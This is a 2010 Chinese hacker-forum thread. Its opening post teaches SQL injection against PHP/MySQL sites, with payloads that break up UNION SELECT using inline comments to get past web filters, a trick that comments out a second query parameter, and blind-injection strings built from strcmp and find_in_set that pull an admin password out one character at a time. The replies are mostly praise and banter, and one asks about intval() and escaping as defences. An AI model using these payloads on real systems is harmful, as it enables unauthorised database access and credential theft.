sql新型注入&绕过方式
红客吧
全部回复
仅看楼主
level 1
风〓阿呆 楼主
原文 http://hi.baidu.com/wtvv/blog/item/5c12e4cda8c62e5d0eb34520.html
自sql注入发展至今,许多安全文章似乎扭曲了不少人的注射思维,传统的检测注射方法是通过:
and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者 在数值注射 例如:id=1+1 或id=2-1,等等
本文的目的不是评判谁的检测方法实用,只是向大家推荐一些新的注射方式,可能早有人提及了:)
注:主要针对php下的mysql注射,可借鉴,就不一一介绍了
首先说判断:
Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null
或: and 2<=3
其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,<>等 都可用于判断
接着说注入
对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)
先说Union Select
对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去查查相关资料,有异议的可给我留言
当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:
id=1+union/*&name=*/select+1,2
代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2 这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻 :)
下面说说Blind SqlIjection(盲注):
一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是     ord(mid(password,1,1))=56
在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据
此前,仍然向大家推荐一些新型的手法:
find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left('password',1), 0x56) = 1
将这些函数套如子查询就是:
    id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x55)=1 false
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x56)=0    true
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x57)=-1   false
不明白原理的请查阅函数手册或给我留言
2010年05月12日 15点05分 1
level 7
沙发,貌似楼主在黑吧进了名人堂
2010年05月12日 16点05分 2
level 6
板凳!!!!![大笑]
2010年05月12日 16点05分 3
level 7
楼上速度真快
2010年05月12日 16点05分 4
level 1
这文章眼熟…
2010年05月12日 16点05分 5
level 0
神一般的阿呆
2010年05月12日 20点05分 6
level 8
回复:2楼
你知道什么,阿呆是老老一辈的黑吧吧主!
老前辈了!
2010年05月13日 01点05分 7
level 8
非常感谢阿呆前辈的到来,谢谢。
让我们这些新人学习了。
2010年05月13日 01点05分 8
level 8
“id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?可绕过国内所有防注射哦:) ”
哇,吐了吐了!!!
够恶心!!!
这么一来放注射的存在就很危险了!!!
2010年05月13日 01点05分 9
level 8
回复:6楼
看来这位是老人,呵呵
其实我也这么认为。
2010年05月13日 01点05分 10
level 3
回复11楼:
膜拜路过黑客
2010年05月13日 02点05分 12
level 7
七楼,有去了解过,挖过黑吧的坟,据说黑吧第一任吧主是出车祸死的,其中还藏有隐情,但黑吧前辈都不愿多说
2010年05月13日 02点05分 13
level 6
要把传入的参数取整,所有的字符串都给过滤了,还有用吗?
intval()
mysql_real_escape_string()
2010年05月14日 03点05分 14
level 8
回复:13楼
说话不能乱说,说出来是要为自己的话负责任的,你想了解就自己了解去,不要来搞什么误导人的东西,人都死了这么久了你还在那挖坟,你想干什么?纯粹满足自己的好奇心?或者掌握了内幕可以让你在贴吧里混的更好?
转身啊,不是我说你,你太浮躁了,我不知道你现在有没有工作,也没查过你,但是如果你真的热爱电脑、热爱网络安全的话,真的建议你不要再浮躁了,你可以想一下在电脑方面你现在都会些什么,PS?玩的好么?其他的?会么?
年轻人,静下心来好好钻研一门技术才是王道,我真不希望我做吧主的时候给吧里、给这个社会培养了一批整天只会浮躁于表而不去脚踏实地的人,这样不好。
2010年05月14日 07点05分 17
level 1
传说中的阿呆前辈出关了丫?
2010年05月14日 13点05分 18
level 8
回复:18楼
嗯,貌似是
2010年05月14日 15点05分 19
level 1
我顶一下,进不了吧
2010年05月19日 03点05分 20
level 4
看见阿呆了啊
2010年05月19日 14点05分 21
level 5
嗯,有所耳闻。
新型注入,不错。mark!
2010年05月20日 01点05分 22
level 8
回复:21楼
嘿,看到个老人
2010年05月20日 07点05分 23
1 2 尾页